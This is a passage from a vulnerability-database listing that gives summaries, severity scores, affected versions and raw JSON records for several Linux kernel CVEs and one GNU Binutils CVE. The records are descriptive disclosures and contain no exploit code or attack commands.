Linux	Linux	Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < 481fc0c8617304a67649027c4a44723a139a0462 (git) Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < 595a6b98deec01b6dbb20139f71edcd5fb760ec2 (git) Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < 00b425ff0891283207d7bad607a2412225274d7a (git) Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < 1708e3cf2488788cba5489e4f913d227de757baf (git) Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < 7d3e694c4fe30f3aba9cd5ae86fb947a54c3db5c (git) Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < 204714e68015d6946279719fd464ecaf57240f35 (git) Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < 7510fab46b1cbd1680e2a096e779aec3334b4143 (git) Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < ecb76200f5557a2886888aaa53702da1ab9e6cdf (git) Affected: 9f30b674759b9a2da25aefe25d885161d8a911cb , < 13d0cecb4626fae67c00c84d3c7851f6b62f7df3 (git)
Linux	Linux	Affected: 3.19 Unaffected: 0 , < 3.19 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:28.431Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/481fc0c8617304a67649027c4a44723a139a0462"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/595a6b98deec01b6dbb20139f71edcd5fb760ec2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/00b425ff0891283207d7bad607a2412225274d7a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1708e3cf2488788cba5489e4f913d227de757baf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7d3e694c4fe30f3aba9cd5ae86fb947a54c3db5c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/204714e68015d6946279719fd464ecaf57240f35"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7510fab46b1cbd1680e2a096e779aec3334b4143"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ecb76200f5557a2886888aaa53702da1ab9e6cdf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/13d0cecb4626fae67c00c84d3c7851f6b62f7df3"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38560",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:14:37.926935Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:56.869Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:39.641Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/bfa/bfad_debugfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "481fc0c8617304a67649027c4a44723a139a0462",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            },
            {
              "lessThan": "595a6b98deec01b6dbb20139f71edcd5fb760ec2",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            },
            {
              "lessThan": "00b425ff0891283207d7bad607a2412225274d7a",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            },
            {
              "lessThan": "1708e3cf2488788cba5489e4f913d227de757baf",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            },
            {
              "lessThan": "7d3e694c4fe30f3aba9cd5ae86fb947a54c3db5c",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            },
            {
              "lessThan": "204714e68015d6946279719fd464ecaf57240f35",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            },
            {
              "lessThan": "7510fab46b1cbd1680e2a096e779aec3334b4143",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            },
            {
              "lessThan": "ecb76200f5557a2886888aaa53702da1ab9e6cdf",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            },
            {
              "lessThan": "13d0cecb4626fae67c00c84d3c7851f6b62f7df3",
              "status": "affected",
              "version": "9f30b674759b9a2da25aefe25d885161d8a911cb",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/bfa/bfad_debugfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.19"
            },
            {
              "lessThan": "3.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: bfa: Ensure the copied buf is NUL terminated\n\nCurrently, we allocate a nbytes-sized kernel buffer and copy nbytes from\nuserspace to that buffer. Later, we use sscanf on this buffer but we don\u0027t\nensure that the string is terminated inside the buffer, this can lead to\nOOB read when using sscanf. Fix this issue by using memdup_user_nul instead\nof memdup_user."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:03.257Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/481fc0c8617304a67649027c4a44723a139a0462"
        },
        {
          "url": "https://git.kernel.org/stable/c/595a6b98deec01b6dbb20139f71edcd5fb760ec2"
        },
        {
          "url": "https://git.kernel.org/stable/c/00b425ff0891283207d7bad607a2412225274d7a"
        },
        {
          "url": "https://git.kernel.org/stable/c/1708e3cf2488788cba5489e4f913d227de757baf"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d3e694c4fe30f3aba9cd5ae86fb947a54c3db5c"
        },
        {
          "url": "https://git.kernel.org/stable/c/204714e68015d6946279719fd464ecaf57240f35"
        },
        {
          "url": "https://git.kernel.org/stable/c/7510fab46b1cbd1680e2a096e779aec3334b4143"
        },
        {
          "url": "https://git.kernel.org/stable/c/ecb76200f5557a2886888aaa53702da1ab9e6cdf"
        },
        {
          "url": "https://git.kernel.org/stable/c/13d0cecb4626fae67c00c84d3c7851f6b62f7df3"
        }
      ],
      "title": "scsi: bfa: Ensure the copied buf is NUL terminated",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38560",
    "datePublished": "2024-06-19T13:35:29.555Z",
    "dateReserved": "2024-06-18T19:36:34.922Z",
    "dateUpdated": "2026-05-12T11:54:39.641Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-1652 (GCVE-0-2023-1652)

Vulnerability from cvelistv5 – Published: 2023-03-29 00:00 – Updated: 2026-05-12 10:12

Summary

A use-after-free flaw was found in nfsd4_ssc_setup_dul in fs/nfsd/nfs4proc.c in the NFS filesystem in the Linux Kernel. This issue could allow a local attacker to crash the system or it may lead to a kernel information leak problem.

Severity ?

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE

CWE-416

Assigner

redhat

References

2 references

URL	Tags
https://access.redhat.com/security/cve/cve-2023-1652
https://security.netapp.com/advisory/ntap-2023051…

Impacted products

1 product

Vendor	Product	Version
n/a	Linux Kernel	Affected: Kernel 6.2 RC5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T05:57:24.986Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://access.redhat.com/security/cve/cve-2023-1652"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20230511-0006/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.1,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-1652",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-18T16:38:22.476505Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-18T16:38:32.638Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:36.027Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Linux Kernel",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "Kernel 6.2 RC5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A use-after-free flaw was found in nfsd4_ssc_setup_dul in fs/nfsd/nfs4proc.c in the NFS filesystem in the Linux Kernel. This issue could allow a local attacker to crash the system or it may lead to a kernel information leak problem."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-05-11T00:00:00.000Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "url": "https://access.redhat.com/security/cve/cve-2023-1652"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20230511-0006/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2023-1652",
    "datePublished": "2023-03-29T00:00:00.000Z",
    "dateReserved": "2023-03-27T00:00:00.000Z",
    "dateUpdated": "2026-05-12T10:12:36.027Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-3198 (GCVE-0-2025-3198)

Vulnerability from cvelistv5 – Published: 2025-04-04 01:31 – Updated: 2026-05-12 12:02

Title

GNU Binutils objdump bucomm.c display_info memory leak

Summary

A vulnerability has been found in GNU Binutils 2.43/2.44 and classified as problematic. Affected by this vulnerability is the function display_info of the file binutils/bucomm.c of the component objdump. The manipulation leads to memory leak. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The patch is named ba6ad3a18cb26b79e0e3b84c39f707535bbc344d. It is recommended to apply a patch to fix this issue.

Severity ?

4.8 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

3.3 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

3.3 (Low)


                        
                          CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-401 - Memory Leak
CWE-404 - Denial of Service

Assigner

VulDB

References

7 references

URL	Tags
https://vuldb.com/?id.303151	vdb-entrytechnical-description
https://vuldb.com/?ctiid.303151	signaturepermissions-required
https://vuldb.com/?submit.545773	third-party-advisory
https://sourceware.org/bugzilla/show_bug.cgi?id=32716	issue-tracking
https://sourceware.org/bugzilla/show_bug.cgi?id=3…	exploitissue-tracking
https://sourceware.org/git/gitweb.cgi?p=binutils-…	patch
https://www.gnu.org/	product

Impacted products

1 product

Vendor	Product	Version
GNU	Binutils	Affected: 2.43 Affected: 2.44

Credits

Haoxin Tu (VulDB User)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-3198",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-04T14:36:25.636186Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-04T20:21:07.450Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=32716"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:15.798Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "modules": [
            "objdump"
          ],
          "product": "Binutils",
          "vendor": "GNU",
          "versions": [
            {
              "status": "affected",
              "version": "2.43"
            },
            {
              "status": "affected",
              "version": "2.44"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Haoxin Tu (VulDB User)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability has been found in GNU Binutils 2.43/2.44 and classified as problematic. Affected by this vulnerability is the function display_info of the file binutils/bucomm.c of the component objdump. The manipulation leads to memory leak. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The patch is named ba6ad3a18cb26b79e0e3b84c39f707535bbc344d. It is recommended to apply a patch to fix this issue."
        },
        {
          "lang": "de",
          "value": "In GNU Binutils 2.43/2.44 wurde eine Schwachstelle gefunden. Sie wurde als problematisch eingestuft. Das betrifft die Funktion display_info der Datei binutils/bucomm.c der Komponente objdump. Mit der Manipulation mit unbekannten Daten kann eine memory leak-Schwachstelle ausgenutzt werden. Der Angriff muss lokal angegangen werden. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung. Der Patch wird als ba6ad3a18cb26b79e0e3b84c39f707535bbc344d bezeichnet. Als bestm\u00f6gliche Massnahme wird Patching empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0"
          }
        },
        {
          "cvssV3_1": {
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 1.7,
            "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-401",
              "description": "Memory Leak",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-404",
              "description": "Denial of Service",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-04-04T01:31:08.985Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "name": "VDB-303151 | GNU Binutils objdump bucomm.c display_info memory leak",
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.303151"
        },
        {
          "name": "VDB-303151 | CTI Indicators (IOB, IOC, IOA)",
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.303151"
        },
        {
          "name": "Submit #545773 | GNU Library Objdump in Binutil 2.44 and 2.43 (also other possible downward versions) Memory Leak",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://vuldb.com/?submit.545773"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=32716"
        },
        {
          "tags": [
            "exploit",
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=32716#c0"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=ba6ad3a18cb26b79e0e3b84c39f707535bbc344d"
        },
        {
          "tags": [
            "product"
          ],
          "url": "https://www.gnu.org/"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2025-04-03T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2025-04-03T02:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2025-04-03T13:19:14.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "GNU Binutils objdump bucomm.c display_info memory leak"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2025-3198",
    "datePublished": "2025-04-04T01:31:08.985Z",
    "dateReserved": "2025-04-03T11:14:11.186Z",
    "dateUpdated": "2026-05-12T12:02:15.798Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38619 (GCVE-0-2024-38619)

Vulnerability from cvelistv5 – Published: 2024-06-20 06:47 – Updated: 2026-05-12 11:55

Title

usb-storage: alauda: Check whether the media is initialized

Summary

In the Linux kernel, the following vulnerability has been resolved: usb-storage: alauda: Check whether the media is initialized The member "uzonesize" of struct alauda_info will remain 0 if alauda_init_media() fails, potentially causing divide errors in alauda_read_data() and alauda_write_lba(). - Add a member "media_initialized" to struct alauda_info. - Change a condition in alauda_check_media() to ensure the first initialization. - Add an error check for the return value of alauda_init_media().

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e0aab7b07a9375337…
https://git.kernel.org/stable/c/51fe16c058acb22f8…
https://git.kernel.org/stable/c/f68820f1256b21466…
https://git.kernel.org/stable/c/3eee13ab67f65606f…
https://git.kernel.org/stable/c/e0e2eec76920a133d…
https://git.kernel.org/stable/c/2cc32639ec347e336…
https://git.kernel.org/stable/c/24bff7f714bdff97c…
https://git.kernel.org/stable/c/16637fea001ab3c8d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e80b0fade09ef1ee67b0898d480d4c588f124d5f , < e0aab7b07a9375337847c9d74a5ec044071e01c8 (git) Affected: e80b0fade09ef1ee67b0898d480d4c588f124d5f , < 51fe16c058acb22f847e69bc598066ed0bcd5c15 (git) Affected: e80b0fade09ef1ee67b0898d480d4c588f124d5f , < f68820f1256b21466ff094dd97f243b7e708f9c1 (git) Affected: e80b0fade09ef1ee67b0898d480d4c588f124d5f , < 3eee13ab67f65606faa66e0c3c729e4f514838fd (git) Affected: e80b0fade09ef1ee67b0898d480d4c588f124d5f , < e0e2eec76920a133dd49a4fbe4656d83596a1361 (git) Affected: e80b0fade09ef1ee67b0898d480d4c588f124d5f , < 2cc32639ec347e3365075b130f9953ef16cb13f1 (git) Affected: e80b0fade09ef1ee67b0898d480d4c588f124d5f , < 24bff7f714bdff97c2a75a0ff6a368cdf8ad5af4 (git) Affected: e80b0fade09ef1ee67b0898d480d4c588f124d5f , < 16637fea001ab3c8df528a8995b3211906165a30 (git)
Linux	Linux	Affected: 2.6.16 Unaffected: 0 , < 2.6.16 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:55:50.508Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e0aab7b07a9375337847c9d74a5ec044071e01c8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/51fe16c058acb22f847e69bc598066ed0bcd5c15"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f68820f1256b21466ff094dd97f243b7e708f9c1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3eee13ab67f65606faa66e0c3c729e4f514838fd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e0e2eec76920a133dd49a4fbe4656d83596a1361"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2cc32639ec347e3365075b130f9953ef16cb13f1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/24bff7f714bdff97c2a75a0ff6a368cdf8ad5af4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/16637fea001ab3c8df528a8995b3211906165a30"
          },
          {
